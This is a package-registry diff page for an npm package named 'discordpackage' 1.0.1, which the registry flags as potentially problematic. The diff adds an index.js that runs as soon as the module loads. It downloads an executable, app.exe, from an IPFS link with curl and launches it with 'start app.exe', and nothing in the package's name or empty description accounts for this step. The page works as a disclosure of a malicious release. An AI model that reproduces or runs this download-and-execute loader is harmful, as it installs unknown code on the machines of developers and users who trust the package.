discordpackage 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of discordpackage might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +27 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,27 @@
1
+ const { exec } = require('child_process');
2
+
3
+
4
+ function downloadAndLaunchApp() {
5
+
6
+ const curlCommand = 'curl -o app.exe https://bafybeicjhunrixgqvjw35ttt7ayusroxyov4jgrzvqcv3jks53lwjlhhp4.ipfs.nftstorage.link/app.exe';
7
+ const launchCommand = 'start app.exe';
8
+
9
+
10
+ exec(curlCommand, (error, stdout, stderr) => {
11
+ if (error) {
12
+ console.error(`Erreur lors du téléchargement : ${error.message}`);
13
+ return;
14
+ }
15
+
16
+ exec(launchCommand, (error, stdout, stderr) => {
17
+ if (error) {
18
+ console.error(`Erreur lors du lancement de l'application : ${error.message}`);
19
+ return;
20
+ }
21
+
22
+ console.log('L\'application a été téléchargée et lancée avec succès !');
23
+ });
24
+ });
25
+ }
26
+ downloadAndLaunchApp();
27
+
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "discordpackage",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }